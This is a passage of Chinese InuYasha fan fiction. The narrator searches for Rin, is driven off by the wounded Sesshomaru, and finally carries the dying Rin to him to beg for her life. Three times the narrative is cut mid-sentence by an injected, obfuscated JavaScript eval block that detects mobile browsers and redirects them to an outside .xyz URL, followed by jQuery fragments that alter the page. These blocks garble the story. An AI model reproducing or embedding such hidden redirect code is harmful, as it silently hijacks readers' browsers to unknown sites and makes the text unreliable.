我坐在树洞口的干草堆上,手指头无意识地捻着根枯了的草茎。眼睛管不住自己,老往那条被踩出来的小路上瞟。林子里的光慢慢挪着,树叶缝里漏下来的光斑,从西边爬到了东边。
周围就听见风刮过树叶的沙沙声,远处溪水哗哗流,还有几只夏蝉在树上没完没了地叫。
太静了。
静得让人心里发慌。
铃平时下午就会来,提着她那小破桶,里面装着些"礼物"。有时候是野果,有时候是野菜,偶尔就是些带露水的野花,她觉得好看的。她会安安静静坐我旁边,用那双黑沉沉的眼睛瞅着我,偶尔比划几个手势。
可今天,太阳都明显偏西了,树影子拉得老长,小路那头还是空荡荡的。
心里头像有条初春的溪水下的暗流,凉凉的,慢慢往上爬。一开始就一丝丝,可等了这么久啥动静没有,那凉丝丝的感觉就蔓延开了,沉甸甸地压在胸口。
不对劲儿。
铃从没爽约过。就算来晚了点,她那轻巧的脚步声也会早早就把林子的静打破。
手里的草茎被我掐断了。我猛地站起来,带起的风惊飞了旁边几只啄草籽的雀鸟。
心脏在胸腔里跳得厉害,咚咚地撞着肋骨。一股焦灼的恐慌劲儿抓住了我,比面对奈落时还复杂,还熬人。
脑子里有个冷静的声音喊:稳住!她可能就是有事耽搁了。说不定村里有活要干,或者天太热了……别冲动!人类村子危险,你身上的味儿要是被闻见……
可另一个声音更响更急,都带着点血腥味了:万一呢?万一她碰上村妇们说的后山的狼?万一采野菜时摔着了?万一……遇上了不怀好意的人或妖怪?
脑子里止不住地冒出铃的样子:她安静的眼睛,踮着脚给我胳膊敷草药时认真的模样,分野果时皱着眉却还笑的嘴角,还有昨天走的时候,回头对我无声挥小手的样子……
这些画面跟烧红的烙铁似的,烫得我坐不住。
不能再等了。
躲躲藏藏是"未名"的活法,可不是我的!至少不全是了!
一股横冲直撞的冲动,一下子冲垮了理智那道脆生生的堤坝。我攥紧拳头,指甲掐进刚长好的掌心,那点疼反而让人清醒,也更决绝。
管他什么谨慎!管他什么暴露!
身子一动,我跟箭似的从树洞边窜出去,不再是平时那种小心翼翼的样子,疯了似的顺着铃每天走的小路,往山下村子的方向冲。
风在耳边呼呼地刮,带着傍晚的凉气。树在两边往后退,成了模糊的绿影子。心脏跳得快从嗓子眼里蹦出来,每口气都扯得肺疼,可速度一点没减。
越靠近村子,心里那股不祥的预感越重。太静了,连平时该有的狗叫都没了。空气里压得人喘不过气,跟暴风雨来之前似的。
我蹲在村口一棵大树上,树叶把我遮得严严实实。眼睛跟最灵的野兽似的,急急忙忙扫过底下那些矮屋子。歪脖子柿子树……铃说过,她家院外有一棵……
找到了!
村尾那围着破篱笆的小院静悄悄的。院子里晾的几件粗布衣服在风里晃,屋里没灯,也没冒烟。没看见铃,也没见她那只叫"阿哞"的小狗。
心一下子沉到底,跟掉冰窖里似的。
果然出事了!
我正按捺不住,想冲进村子挨家找,就听见不远处井边几个村妇在压低声音说话,带着恐惧,顺着风飘过来几句。
"……后山那废庙…邪门得很……""张猎户昨晚没回来…""可别让娃乱跑了……隔壁村丢孩子的事……""天快黑了,赶紧回吧,心里发毛……"
后山!废庙!丢孩子!
每个词都跟带毒的冰锥似的,扎进耳朵里,血都像冻住了!
铃!她肯定去了后山!或者……被抓到后山了!
我想都没想,也顾不上会不会被村民看见,从树上跳下来,落地没出声,接着就跟影子似的,把村子甩在身后,拼命往村后那座山冲。天慢慢黑了,那山看着越来越阴森。
太阳最后一点光也没了,天很快变成墨蓝色。夜风吹起来,林子里呜呜响,跟好多鬼魂在黑地里说话似的。
快点!再快点!
恐惧和那股快绝望的迫切劲儿,跟鞭子似的抽着我。我在越来越黑的林子里穿来穿去,凭着"未名"那点本事,避开盘根错节的树根和凸出来的石头,快得像道影子。
铃,等着我!一定等着我!
林子里安静得让人喘不上气。
不像是夜里该有的那种静,倒像是被人掐住了喉咙,连风都不敢动了。虫不叫了,树叶也跟冻住似的,半点声响没有。空气沉得像灌了水银,每吸一口气都费劲,压得胸口发闷。
我在这片怪安静里往前冲,心脏在耳朵里咚咚直响,快盖过其他动静了。鼻子使劲嗅着,想从空气里找出铃那点味儿——就是混着青草和太阳味的淡淡奶香。
找到了!虽然很淡,但真有!它引着我往林子更里头跑,那地方连月亮都照不太透。
拨开最后一丛挂着露水的藤蔓,眼前的景象让我脚底下跟钉了钉子似的,血都像冻住了。
一小片空地被老古树围着,跟个与世隔绝的笼子似的。月亮吝啬地洒下几道光,勉强照亮了中间。
杀生丸。
他靠坐在一棵大树盘结的根上,还是那副谁都近不了身的孤高清冷样。银白的长发跟冰凉的月光似的披下来,几缕搭在轮廓好看的脸旁边。他闭着眼,俊得不像真人,脸上没一点表情,跟尊没活气的神像似的。
但他身上散出来的妖气,冷得像要变成真东西,把这地方每一寸都填满了,难怪这么静得吓人。这妖气不像以前那么铺天盖地,反倒收得更紧、更尖,带着受伤后的狠劲,敏感又戒备。
我的眼死死盯着他华贵和服的左肩。那儿有个吓人的口子,把衣服都撕开了,深得能看见骨头。伤口边还有股怪能量,好像让他那厉害的自愈能力都不管用了,血还在慢慢渗出来,把肩头的白毛染成了刺目的红。
铁碎牙……是铁碎牙弄的伤!我知道!犬夜叉他……
心里一紧,不是可怜他,是怕那股厉害力量,还有……怕眼前这受伤的大妖现在有多危险。
然后,我眼一瞟,看到了旁边。
离杀生丸几步远的石头上,放着几颗红得歪歪扭扭的野莓,还有个用大树叶折的小碗,里面盛着点清水。
而铃——
她蹲在更远点的黑影里,快把自己缩成一团了,就露出双黑沉沉的眼睛,一眨不眨地瞅着杀生丸,眼里是纯纯的担心,还有点小动物似的怕。她小手揪着衣角,明明怕这妖气的主人,却因为那点说不出的好心没跑,就守在那儿,留下了那些不值钱的“礼物”。
她没受伤。也没靠太近。
刚要松口气,更厉害的恐慌一下子扎进心里!她怎么敢?!她知道眼前这东西多危险吗?!尤其是他还受着伤的时候!
一关心就乱了分寸。看到铃离杀生丸这么近,所有理智和对杀生丸刻在骨子里的怕,全没了。
“铃!”
我忍不住低喊一声,声音都带了颤。自己都没发觉已经迈步从树后面走出去
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16252183|182016||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了,就想赶紧冲过去,把这不知死活的小丫头拉离这要命的地方!
我的出现,还有那声喊,像往死水里扔了块石头,一下子打破了这被妖气强撑着的、脆生生的平静。
铃猛地回头,看见我,小脸唰地白了,使劲摇头,小手急急忙忙摆着,让我别过去,眼里全是焦急的警告。
可来不及了。
几乎在我出声的同时——
那双闭着的、长睫毛的眼睛,“唰”地睁开了!
冰冷又亮的金色眼珠,像黑夜里突然烧起来的两簇冷火,一下子就盯上了我。那眼神里一点不含糊,全是清醒,还有种被人闯了地盘似的、吓人的冰冷杀意!
他虽然伤得重,一动没动,可一股跟针似的、冰刺骨的妖气已经像无形的链子,一下子缠上来,死死掐住了我的喉咙!
“呃!”
我往前冲的动作猛地僵住,像被无形的冰锥钉在了地上!气吸不上来,血都像往回流,浑身的肉在那吓人的注视下都发颤。奈落留下的印在皮肤底下烧得慌,一个劲尖叫着报警!
杀生丸那双冷金眼眯了眯,闪过一丝淡得能冻裂灵魂的讨厌。他准准地闻出了那股一样的味。
“奈落的臭味。”
他嘴动了动,声音低低的、平平的,却比万年寒冰还刺骨。听不出高兴还是生气,就纯纯是居高临下的恶心,像在说个让人反胃的事。
他闻见了!闻见我身上那洗不掉的、奈落的味道了!
金眼里的杀意跟真的寒流似的涌上来!他周身那本来就冷得压人的妖气,一下子变得又尖又狂,空气里都像结了冰碴子。
我要死了!这念头跟最后的判决似的,砸在我快僵掉的脑子里。
铃吓得赶紧用手捂住嘴,大眼睛里全是怕出来的眼泪,看看杀生丸又看看我,小小的身子抖得跟风里的叶子似的。
可预想中打雷似的攻击没马上来。
杀生丸还靠坐在那儿,就那双冷金眼死死盯着我,里面的杀意翻来翻去。但他身上聚着的那股吓人的力量,好像有点发滞。他左肩的伤口,因为刚才那下情绪波动和妖气一动,渗出来的血明显多了一缕。
是因为铁碎牙的伤……牵制他了?
就算这么想,也一点不觉得安全,反倒觉得头顶那把剑更清楚了。
杀生丸显然特别不痛快。他眼底的杀意和讨厌都快溢出来了,但里头好像还掺了点,对自己现在这状态、还有被我这种“脏东西”打扰的、透顶的冰冷烦躁。
他没再使劲调动力量,可那眼神已经像最利的刀,把我割得生疼。
“滚。”
就一个字。冷冰冰的,不耐烦,全是瞧不起和赶人。好像多让我待一秒,都是弄脏了他的地方。
那声音跟锤子似的,狠狠砸在我心上。
压在我身上的那股吓人的劲一下子没了。
我猛地往后踉跄了几步,差点狼狈地摔倒,只能扶着旁边冰凉的树干,大口大口喘气,跟快死的鱼似的。冷汗早把衣服湿透了,手脚又冷又麻。
我心有余悸地望向那片空地。
杀生丸说完那个字,就慢慢闭上了眼,一脸的不在乎,好像我就是个刚赶走的噪音,不值得再看一眼。
可空气里那股冰冷的杀意和警告,还是到处都是。
铃还缩在远处的黑影里,小脸惨白,用那双盛满担心的大眼睛望着我,默默地掉眼泪。
我站在那儿,扶着树干,使劲喘气,又冷又屈辱,还有劫后余生的怕,搅在一起,快把我撕开了。
那个“滚”字,像冰刺似的扎在耳朵里,一直响。
8. 分身吗
那声“滚”跟冰锥似的,“嗖”地扎进我耳朵里,余音在静悄悄的林子里打着转,冻得我浑身都木了。我扶着树干,粗声粗气地喘气,胸口烧得慌,每吸一口都带着后怕的哆嗦。
不行,不能就这么走。
铃还在那儿呢!在杀生丸旁边,那家伙身上的杀气还没散,多危险啊!
担心压过了害怕,我使劲咽了口唾沫,嗓子干得疼。眯着眼往那边瞅,铃缩在影子里,小脸白得像纸,眼泪无声地往下掉。她那大眼睛里充满惊惶和担忧,看得我心都揪紧了。
得跟他解释,让他知道我对铃没坏心眼,我……
我攒了攒剩下的劲儿,松开抓着树的手,身子还因为虚和怕微微晃着。往前挪了一小步,就这一步,感觉把力气都耗光了。
空气好像又冻住了。虽说他闭着眼,可我能感觉到,那股冷冰冰的注意力又落过来了,带着明摆着的不耐烦和警告。
“那……那个……”我声音干得像砂纸磨过,低得快听不见,可在这静地里反倒特别清楚,“我……我没恶意……”
话刚出口就后悔了。在他跟前,解释跟挠痒痒似的,跟蝼蚁跟巨人辩理似的,傻透了。
果然,杀生丸眼皮都没抬一下。月光照在他好看又冷冰冰的侧脸上,投下点影子,更显得生人勿近。他周围那低气压一点没松,反倒因为我这不合时宜的话,多了丝冷冰冰的烦躁。
我差点就闭嘴转身跑了,可一看见铃那又担心又害怕的眼神,咬了咬牙接着说:“我……我认识铃……她是我朋友……我见她没回去,怕她出事,才找来的……”
话说得颠三倒四,还带着止不住的颤音。我想把话说明白,想让他知道我和铃的关系,想证明我不是来捣乱的,可在他那股子冷漠和强大的气场跟前,啥话都没了分量,只剩下本能的害怕和笨嘴拙舌。
“我……就想确认她没事……我马上走……真的……”我都快语无伦次了,就想赶紧带着铃离开这让人喘不上气的地方。
杀生丸还是没反应,好像我就是只嗡嗡叫的苍蝇,不值当他看上一眼。他这无视,比直接动手杀我还让人绝望,还丢人。
就在我快被这没声的压力压垮,打算不管不顾冲过去拉铃跑的时候——
一直缩在影子里的铃,好像看出我为难,也感觉到杀生丸那儿越来越冷的气氛了。她小身子还因为害怕打着颤,可不知哪儿来的勇气,居然动了。
她小心翼翼地,一点点从影子里挪出来,没往杀生丸那边去,绕了点路,快步跑到我身边,伸出冰凉的小手,紧紧抓住我因为害怕而冰凉发抖的手指。
然后她抬起头,朝着杀生丸的方向。
她松开我的手,对着杀生丸,笨笨地深深鞠了一躬。抬起脸时,她指了指我,又指了指自己,然后两只小手合在一起放脸颊边,做了个她自己发明的、像“朋友”的手势。接着她又指了指杀生丸受伤的肩膀,小脸上露出担心和不好意思的神情,好像在为我刚才冒冒失失闯进来、可能打扰到他道歉。
做完这些,她又紧紧抓住我的手指,用那双还含着泪可满眼恳求的大眼睛,怯生生地望着杀生丸。
这阵子,杀生丸一直闭着眼,一动不动,跟周遭啥都跟他没关系似的。
可就在铃做完那一串笨笨的手势,用那双清澈得没法怀疑的眼睛望他的时候——
我清楚地感觉到,那满空气里、差点把我碾碎的冰冷杀气和烦躁,极轻微地……动了一下。
就像颗小石子扔进深不见底的寒潭,连个涟漪都没咋起,可那一瞬间的、几乎感觉不到的停顿,是真的。
他身上那股吓人的气场没弱,还是又冷又强,能把啥活物都吓跑。但里头针对我的、最尖的那股杀意,好像悄悄退了点,变成了一种更深的、连杀都懒得杀的漠然。
他终于……稍微动了动。
不是啥大动作,就搭在弯着的膝盖上的那只手,指尖几乎看不出来地抬了抬,又轻轻落下。
一个再简单不过的动作,可带着不容置疑的命令味儿。
然后他薄嘴唇动了动,又吐出那个冷冰冰的字,比刚才更不耐烦,更干脆,好像多费一个字都多余。
“滚。”
这回这字里,没那么浓的、针对“奈落那股味儿”的杀意了,更像是纯粹嫌聒噪蝼蚁烦,要赶人走。
铃好像听出语气不一样了,猛地松了口气,小身子差点软下去,赶紧使劲拉了我手一下,眼神急着让我走。
我跟得了特赦似的,那股子大压力一下子没了,头都有点晕。啥也顾不上了,反手紧紧攥着铃冰凉的小手,几乎是又拖又抱地,趔趄着、狼狈地转身,以最快的速度逃出那片被吓人妖气罩着的空地。
一直跑到老远,远到再也感觉不到那让人窒息的冷气,远到树林里又有了夜里该有的虫鸣,我才敢停下,扶着膝盖,和铃一起,跟刚从水里捞出来似的,大口大口喘气,浑身都让冷汗湿透了。
回头望了望那黑沉沉、静悄悄的林子深处,刚才那短短一会儿的恐怖经历,跟做了场特真的噩梦似的。
可手里铃那还冰凉发抖的小手提醒我,那都是真的。
原来那就是杀生丸,那个我曾经憧憬的男神,没想到真的见面后这么可怕。
冰冷的夜风像刀子一样刮过脸颊,却崔不散那几乎要将我灵魂冻结的后怕。
我“噗通”跪在冰凉的鹅卵石上,俩手撑着地,呼哧呼哧喘得像头牛,浑身抖得跟筛糠似的。杀生丸那双冰窟窿似的金眼睛,还有那个裹着杀气和瞧不起人的“滚”字,跟做梦魇着似的在脑子里转,把我力气全抽干了。
正被吓得想缩成一团时,一只冰凉软和的小手,轻轻放我紧攥着、还在抖的手背上。
我猛地一哆嗦,抬头一看。
铃跪坐在我跟前,小脸还是白的,眼眶和鼻尖红通通的,显然刚才也吓得不轻。可她这会儿使劲抿着嘴,黑沉沉的大眼睛里,害怕还没全消,却努力透着点笨乎乎的、想安慰我的意思。她不会说话,就用冰凉的小手轻轻拍我手背,又指了指自己,摇了摇头,好像在说:“别怕呀,我没事呢。”
她……她这是在安慰我?
这念头跟股小暖流似的,冷不丁撞进我又凉又慌的心里。明明她才更弱小、更该被护着,明明刚才受惊吓的是她,现在倒反过来,用她那最干净的好心,想暖和我这个又胆小又没用的守护者。
一股子愧疚和酸溜溜的劲儿涌上来,差点让我哭出来。我赶紧伸手把她搂进怀里,声音都哽了:“对不起……铃,对不起啊……是我太没用了……差点害了你……”
铃在我怀里僵了一下,接着就放松了,小手轻轻回抱住我,还拍了拍我后背。
情绪稍微稳了点,那股子后怕和知道“剧情”的焦虑又把我攥住了。我扶着铃的肩膀,看着她还带着点惊惧的眼睛,几乎是脱口而出:“铃,你听着,刚才那个人……就是那个银头发长得……挺好看的,他特别特别危险!是大妖怪,厉害到咱们想都想不出来!你绝对……”
【绝对不能靠近他!】
这话差点就说出来了。
可就在这时候,原著里那血淋淋又绝望的画面跟道冰闪电似的劈进我脑子里——铃被狼群咬得奄奄一息,倒在血泊里……而唯一能救她的,偏偏就是刚才咱们拼命跑开的、一个眼神就能让咱完蛋的大妖——杀生丸!
话猛地卡在喉咙里,像被只无形的手死死掐住了。
巨大的矛盾跟两股大力似的,使劲扯着我的魂儿。一边是对杀生丸打心眼儿里的、渗到骨头里的怕,就想带着铃跑得越远越好;另一边呢,是知道命运
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16252184|182016||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
后,悬在头顶随时可能掉下来的“剧情杀”这把剑!要是彻底躲开杀生丸,万一狼群还是来了……真的咬死了玲……
冷汗又把后背湿透了。
我看着铃那双还有点不安,但因为我抱了她、又听了我(没说完的)警告,重新露出依赖的眼睛,一个又难又疯狂的念头,在极度的害怕和焦虑里,跟毒草似的冒了出来。
说不定……说不定正因为我知道“结局”,才更不能硬改“过程”?
要是铃注定要遭那劫,那唯一能救她的指望,恰恰就在那个最危险的家伙身上。
让他熟悉铃,让他习惯铃在旁边……是不是……是不是等出事的时候,能多那么一丝丝他出手的可能?
这想法让我自己都打寒颤。简直像是拿铃的安全当赌注,赌那一点点来自冷血大妖的慈悲!
可是……我还有别的办法吗?带着她到处跑,然后天天提心吊胆防着不知道啥时候来的狼群?我……有本事护她周全吗?
“绝对……”我听见自己的声音干得要命,好不容易把到了嘴边的话改了,“……一定要小心。他很危险。”我又说了一遍,语气沉甸甸的,“但是啊……铃,”我深吸一口气,好像用尽了全身的劲儿,“要是他还在那儿……要是他还伤着……你……你愿意再去给他送点水和吃的不?”
说完这话,巨大的负罪感差点把我淹了。感觉自己亲手把只小羊羔往猛兽窝边上推。
铃惊讶地睁大了眼睛,好像不明白我为啥突然变卦了。她歪着头想了想,又看了看咱们跑来的方向,小脸上有点犹豫,可很快,那种纯粹的好心和担忧又占了上风。她轻轻点了点头。
“但是!”我赶紧抓住她的手,语气从来没这么严肃过,“答应我,绝对不能靠太近!把东西放远点儿就行!而且……”我深吸一口气,“每次,每次你去,我都得跟在后面,在你能看见我的地方等你。一旦有啥不对劲,马上跑回来,明白不?”
铃看着我特别严肃的脸,好像也感觉到事情不简单。她使劲点头,还用小手比划着,说自己会非常小心。
从那天起,咱俩就过上了一种又怪又紧张的日子。
铃会小心地准备好清水和野果,然后一步三回头地,往杀生丸大概在的地方走。而我呢,就像个最警惕的哨探,躲在远处的树丛或石头后面,心一直悬着,浑身的劲儿都提得高高的,死死盯着铃的背影和前面那片的动静,手心全是汗。
每次看着铃那小小的身影慢慢靠近那片有股无形压力的地方,我都吓得快喘不上气,无数次想冲出去把她拉回来。
而每次,当铃把东西放在相对安全的地方,对着那棵古树下一动不动的身影笨笨地鞠个躬,然后快步跑回我身边时,我悬着的心才能暂时放下,跟受了场漫长的罪似的。
让我意外,甚至有点不安的是——杀生丸的反应,或者说,他没啥反应。
他还是整天闭着眼养神,对铃每天准时来的“供奉”,从来没回应过,没说要,也没再赶人。他就像座一直都在的冰山,冷冰冰地待在那儿,对周围啥都不在乎。
而我呢,每次都远远跟在后面,使劲藏着气息,可他那么灵的鼻子,不可能没察觉到我,察觉到那点淡淡的、属于奈落的“臭味”。
我无数次害怕地想,他会不会因为这没完没了的“骚扰”和“监视”,又发火了。
可,啥都没发生。
他默许了。
默许铃靠近,也默许我远远跟着。
这种默许,一点没让我安心,反倒像根绷得更紧的弦,缠在我心上。我猜不透这大妖的心思,这种说不准的感觉,比直接的威胁更让人慌。
我就像在悬崖边牵着铃的手跳舞,明知道下面是万丈深渊,可为了那一点点活命的可能,不得不继续这危险又熬人的追随。
9. 分身吗
心口忽然一紧,那股让人喘不上气的感觉毫无征兆地攥住了我。
夜黑得跟墨似的,连平时挺亮的月光都被层层乌云遮得严严实实,就从缝里漏出几缕惨淡的光,勉强能看出树影歪歪扭扭的,跟张牙舞爪似的。森林里静得可怕,好像所有活物都预感到危险,早早躲起来了,连虫鸣都没了。
我坐在树洞口,后背绷得笔直,一种冰凉的、让人头皮发麻的预感跟毒蛇似的,顺着脊椎慢慢往上爬。不对劲。空气里飘着点淡淡的腥臊味,闻着特不安心,还混着股不正常的妖气波动,像是有东西在黑地里蠢蠢欲动,正往一块儿凑。
铃在身后的干草铺上睡得正香,呼吸匀匀的,压根不知道灾难要来了。
我使劲攥紧拳头,指甲掐进手心,想靠疼压一压那快从嗓子眼里蹦出来的恐慌。是错觉不?还是这几天太紧张,产生幻觉了?
就在这时——
“嗷呜——呃!”
一声特短、凄厉到变调的狼嚎,从森林深处猛地炸开,又跟被人掐住脖子似的戛然而止!
那不是啥野性的狩猎叫唤,声音里全是疼,还有种说不出的古怪疯狂!
我的血瞬间就凉了!来了!真的来了!
几乎就在那声怪狼嚎停下的同时,另一股更清楚、更狂躁的妖气跟决堤的洪水似的,突然从好几个方向涌出来,还以吓人的速度往我们藏身处围过来!那股子嗜血的欲望,简直把周围的空气都弄脏了!
“铃!醒醒!快!”我猛回头,声音因为太害怕劈了叉,使劲晃着熟睡的小姑娘。
铃被我吓醒,迷迷糊糊的眼睛对上我眼里藏不住的惊恐,一下子就清醒了,被吓得够呛。
没时间解释了!
“吼——!”
“嗷呜!”
疯狂的狼嚎和嘶吼离得越来越近!黑地里,无数双闪着不祥红光的眼睛亮起来,跟地狱里的鬼火似的,飞快地往这边凑!它们的影子在暗淡淡的月光下显出来——比平常的野狼壮多了,肌肉鼓鼓的,獠牙露在外面滴着口水,眼里烧着完全失控的狂乱和杀心!它们的妖气又乱又凶,好像被一根看不见的线牵着,动起来的时候透着让人胆寒的默契!
是奈落!肯定是他!这么精准的围猎,这么狂乱的气息,绝不是普通狼群!
“走!”我一把把铃拽到身后,眼睛快速扫了一圈,选了个看着包围圈最松、但却是背着杀生丸那边的方向,用尽全力把她往外推!“跑!别回头!”
我不能把灾祸引到杀生丸那儿,那不等于找死吗?搞不好还会惹他提前发火,彻底断了铃那点渺茫的活路!
可狼群的速度和狡猾比想的厉害多了!它们好像能猜到我们要往哪走,几头特别壮的妖狼猛地加速,跟黑闪电似的,一下子就挡住了铃的路!同时,另外几头从旁边和后面朝我扑过来!
“呃!”身体里的战斗本能让我躲、让我反击。我侧身躲开能要命的扑咬,手肘狠狠砸在一头妖狼的鼻子上,听见骨头碎了的闷响!另一头狼的爪子擦过我脸颊,火辣辣地疼。
血腥味更刺激了这群疯野兽。它们一头接一头地扑上来,又咬又撞。我狼狈地挡着、躲着,指甲变得尖尖的,划开狼肚子,热乎乎的血和内脏的臭味涌过来。可我清楚,这分身本来就不是靠打架厉害的,面对这么多又凶又狂的妖狼,输只是早晚的事。
眼角余光死死盯着铃。她吓得缩在一棵粗树干后面,小小的身子抖得跟秋风里的叶子似的,双手使劲捂着嘴,大气不敢出,眼泪悄没声地爬满了苍白的小脸。
快走!快走啊!我在心里疯狂喊,动作因为分心慢了一瞬。
“嘶啦——!”后背传来一阵撕心裂肺的疼!一头妖狼的爪子狠狠撕开我的皮肉,都能看见骨头了!
我疼得闷哼一声,动作顿了顿。
就这一瞬间的停顿!
一道看着小点、但更狡诈阴险的黑影,跟鬼似的从最没想到的地方——铃藏身那棵大树茂密的树冠上——悄没声地扑下来!它的目标从一开始就不是我!
“不!!!”
瞳孔一下子缩到最小!我发出绝望的嘶吼,不管身后又来的攻击,拼命扭身扑过去!
太晚了!一切都发生得太快了!
“噗嗤!”
利齿咬进肉里那让人牙酸的闷响,清清楚楚地盖过狼群的嘶吼和我的叫喊,特残忍地砸在我耳朵里。
时间好像被拉得老长、凝固了。
我看见铃因为太疼猛地睁大的眼睛,里面全是纯粹的、没法理解的剧痛和恐惧。看见那头阴险的妖狼,獠牙跟最锋利的刀子似的,深深咬进她细弱的脖子侧面!巨大的冲击力把她整个人都带得飞起来,然后重重摔在冰冷的地上!
滚烫的、鲜红的血,跟决堤的洪水似的,一下子从她小小的身体里涌出来,染红了她破旧的衣裳,染红了身下枯黄的叶子和深色的泥土。
“滚开!”从没这么生气和绝望过!我像头发疯的野兽,不顾一切地撞开挡路的妖狼,尖尖的指甲狠狠戳向那头还在咬铃的妖狼的眼睛!
妖狼发出凄厉的嚎叫,松了口,踉跄着后退。
其他狼群被我这要同归于尽的疯狂劲儿暂时吓住了,进攻停了一小会儿。
我扑跪在铃身边,双手抖得跟风中的叶子似的,都不敢碰她。
血……这么多血……不停地从她脖子侧面那个可怕的伤口里涌出来……她的身体在轻轻的、无意识地抽搐,脸在月光下透着吓人的、透明的灰白。她的呼吸变得特微弱、特急,像破旧的风箱,每一次吸气都带着让人揪心的嗬嗬声。那双总是安安静静望着我、盛着纯粹善意的黑眼睛,这会儿空洞地映着漆黑的、没感情的天空,眼里的光彩正以能看见的速度飞快消失。
致命伤……没法挽回的致命伤……
世界在我眼前扭曲、崩塌,所有声音都远了,只剩下自己心脏疯狂撞胸腔的声音和那绝望到极点的、破碎的喘息。
狼群在不远处又低低吼着围过来,嗜血的红光又盯上了我们。
可我啥都感觉不到了。
我抖着,小心翼翼地、想把她那轻得像羽毛却又重得快抱不动的小小身体搂进怀里。指尖碰着的地方,一片冰凉粘腻的湿热。
“铃……铃……看着我……求求你……”声音哑得不成样,连自己都听不清。
就在我想抱起她的时候,侧面又有股腥风扑过来!
极致的绝望和疯狂,像冰冷的火,一下子烧光了最后一点理智。
我猛地抬头,看了看那些又露出獠牙的妖狼,又猛地扭头,望向那片一直静悄悄的、杀生丸在的地方——
然后,我做了个几乎是自寻死路的决定。
我用尽最后力气,发出一声哭出血似的、不像人腔的尖叫,故意往狼群最密的方向虚晃一下,把它们的注意力都引过来,然后在它们扑上来之前,抱着怀里那正在迅速变冷、生命飞快流逝的小小身体,向着唯一可能有渺茫希望的那片不能去的地方,跌跌撞撞地、拼尽全力冲去!
血从背后的伤口和铃脖子的创口里不断流出来,在我们逃跑的路上,拖出一道断断续续的、吓人的血痕。
快点……再快点……唯一的……
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16252185|182016||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
最后的希望……
肺里跟个破风箱似的,每吸一口气都带着血腥味的灼痛,还有种快憋死的窒息感。后背的伤口早麻木了,就剩一片冰冷的湿乎乎的感觉在慢慢扩大。可我压根顾不上这些,所有的知觉、所有的念头,都黏在怀里那慢慢变凉、小命跟沙子似的往下漏的小身子上。
铃的血浸透了我的前襟,黏糊糊、热乎乎的,偏又带着股让人绝望的冷,正一点点把她剩下的体温带走。
跑!快跑!脑子里就这一个念头,逼着早透支的身子跌跌撞撞往那片有层无形墙的地方冲。身后的狼嚎和追赶声好像被啥东西挡住了,渐渐远了,可我没空回头看。
眼前的东西开始模糊、晃悠,就那个方向,那个透着老冷老危险气息的方向,是我眼里唯一能瞅准的地儿。
猛地撞开最后一丛矮灌木,我踉跄着扑进那片熟得不能再熟、憋得人喘不上气的静悄悄的空地。
月光好像比外头更惨点,冷冰冰地洒在那棵盘虬卧龙的老树上,还有树下那个孤零零的身影上。
杀生丸还靠坐在那儿,姿势跟我上次离开的时候几乎没什么区别。银白的长发跟水似的披下来,挡了他半边脸。他闭着眼,身上的妖气比之前收得更紧了,可依旧跟万年冻住的冰窟窿似的,透着谁都别靠近的正经威严。左肩的伤口好像好点了,可那股子冷劲儿和不在乎的样儿,一点没少。
我这么闯进来,跟扔了块石子进深潭似的,一下子打破了这儿的安静。
我再也撑不住了,膝盖一软,“咚”地跪在硬邦邦的地上,怀里的铃被这猛地一震,发出一声特轻特轻、跟小猫哼哼似的疼哼。
“杀生丸大人!!!”
喊出声的时候,我才反应过来自己叫了啥。那声音里混着老鼻子的怕、绝望,还有最后一点疯了似的指望,撕心裂肺的,哑得根本不像人嗓子发出来的。
树下那尊“冰疙瘩”“唰”地睁开眼。
冰冷的、亮得晃眼的金眼珠子,跟最尖的刀子似的,一下子就钉在我身上。那眼神里没惊讶,没纳闷,就只有被打扰后的、冷冽的不耐烦和打量。他的眼风飞快扫过我这狼狈样、浑身是血的德行,最后落在我怀里那个气儿快没了、被血泡透的小身影上。
他眉头几乎看不出来地皱了下,可那绝不是可怜,更像是对这又脏又血腥的场面讨厌。
“求求您!求求您救救她!杀生丸大人!”我几乎趴在地上,脑门“咚咚”磕在冰凉的石头地上,语无伦次地哭嚎,眼泪混着脸上的血道子瞎流,“铃……铃快不行了!就您能救她!求求您!”
巨大的恐惧和绝望让我浑身抖得跟秋风里的叶子似的,声音因为哭噎和激动断断续续的,几乎说不成整话。
“天生牙!对!用天生牙!您那把刀!求求您用它救铃!”我猛地抬头,满是红血丝的眼睛死死盯着他,像抓住最后一根救命稻草,疯了似的念叨,“就您能救她!就天生牙能行!求您了!您救她,我……我做什么都可以!我的命您可以拿走!求求您!”
